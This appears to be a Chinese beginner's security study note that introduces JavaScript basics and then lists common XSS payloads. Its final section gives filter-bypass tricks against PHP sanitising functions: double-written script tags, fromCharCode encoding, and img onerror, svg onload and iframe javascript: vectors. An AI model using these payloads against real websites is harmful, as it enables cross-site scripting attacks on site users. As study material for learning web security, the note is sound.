目录
写给和我一样学习安全的小白。
简介
JavaScript 是一种轻量级的编程语言,定义了HTML的行为。它与Java的关系类似周杰和周杰伦的关系(即没有关系)。
用法
HTML 中的脚本必须位于 <script> 与 </script> 标签之间。
脚本可被放置在 HTML 页面的 <body> 和 <head> 部分中。
JS必备知识
输出与注释
输出
- 使用 window.alert() 弹出警告框。
- 使用 document.write() 方法将内容写到 HTML 文档中。
- 使用 innerHTML 写入到 HTML 元素。
- 使用 console.log() 写入到浏览器的控制台。
<script>
window.alert('lady_killer9');
</script>
<p>内容写到html文档。</p>
<script>
document.write('Frankyu');
</script>
<script>
a = 5;
b = 4;
c = a + b;
console.log('lady_killer'+c);
</script>
注释
单行注释以 // 开头。多行注释以 /* 开始,以 */ 结尾。
语法
关键字var来定义局部变量,没有关键字时为全局变量,页面上所有脚本和函数都能访问。
使用 ; 来分隔语句
使用 \ 来进行折行
运算符、条件控制与c++差不多
值类型(基本类型):字符串(String)、数字(Number)、布尔(Boolean)、对空(Null)、未定义(Undefined)、Symbol。
引用数据类型:对象(Object)、数组(Array)、函数(Function)。
动态类型,即变量可以改为不同类型。
面向对象语言,对象有属性和方法。
函数
关键字function定义一个函数
参数默认值为undefined,argument 对象包含了函数调用的参数数组。
关键字return来返回值
function myFunction(var1,var2,...)
{
代码return something;
}
字符串方法
方法 | 描述 |
---|---|
charAt() | 返回指定索引位置的字符 |
charCodeAt() | 返回指定索引位置字符的 Unicode 值 |
concat() | 连接两个或多个字符串,返回连接后的字符串 |
fromCharCode() | 将 Unicode 转换为字符串 |
indexOf() | 返回字符串中检索指定字符第一次出现的位置 |
lastIndexOf() | 返回字符串中检索指定字符最后一次出现的位置 |
localeCompare() | 用本地特定的顺序来比较两个字符串 |
match() | 找到一个或多个正则表达式的匹配 |
replace() | 替换与正则表达式匹配的子串 |
search() | 检索与正则表达式相匹配的值 |
slice() | 提取字符串的片断,并在新的字符串中返回被提取的部分 |
split() | 把字符串分割为子字符串数组 |
substr() | 从起始索引号提取字符串中指定数目的字符 |
substring() | 提取字符串中两个指定的索引号之间的字符 |
toLocaleLowerCase() | 根据主机的语言环境把字符串转换为小写,只有几种语言(如土耳其语)具有地方特有的大小写映射 |
toLocaleUpperCase() | 根据主机的语言环境把字符串转换为大写,只有几种语言(如土耳其语)具有地方特有的大小写映射 |
toLowerCase() | 把字符串转换为小写 |
toString() | 返回字符串对象值 |
toUpperCase() | 把字符串转换为大写 |
trim() | 移除字符串首尾空白 |
valueOf() | 返回某个字符串对象的原始值 |
事件
HTML 事件可以是浏览器行为,也可以是用户行为。
事件 | 描述 |
---|---|
onchange | HTML 元素改变 |
onclick | 用户点击 HTML 元素 |
onmouseover | 用户在一个HTML元素上移动鼠标 |
onmouseout | 用户从一个HTML元素上移开鼠标 |
onkeydown | 用户按下键盘按键 |
onload | 浏览器已完成页面的加载 |
onerror | 出错时执行,用于故意构造错误时执行代码 |
表单
document.forms[表单名][变量名]
Cookie
<script>document.cookie</script>
代码执行
eval函数将参数作为js代码执行
伪协议
javascript:js代码,可以放到Html标签中
XSS常用payload
普通
<script>alert('XSS')</script> <script>document.cookie</script>
双写绕过
例如,php中使用str_replace函数替换<script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
编码绕过
例如,php中使用mysqli_real_escape_string函数转义特殊字符
"><script>alert(String.fromCharCode(88,83,83))</script>
html标签绕过正则
例如,php中使用preg_filter函数进行正则匹配删除script
<img src=x onerror=alert('XSS');> <img src=x:alert(alt) onerror=eval(src) alt=xss> "><svg/onload=alert(/XSS/) <div onpointerover="alert(45)">MOVE HERE</div> <IFRAME SRC=javascript:alert(‘XSS’)></IFRAME> <A HREF=http://127.0.0.1/phpinfo.php>link</A>
参考
GitHub-PayloadsAllTheThings-XSS Injection
更多内容查看:网络安全-自学笔记
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。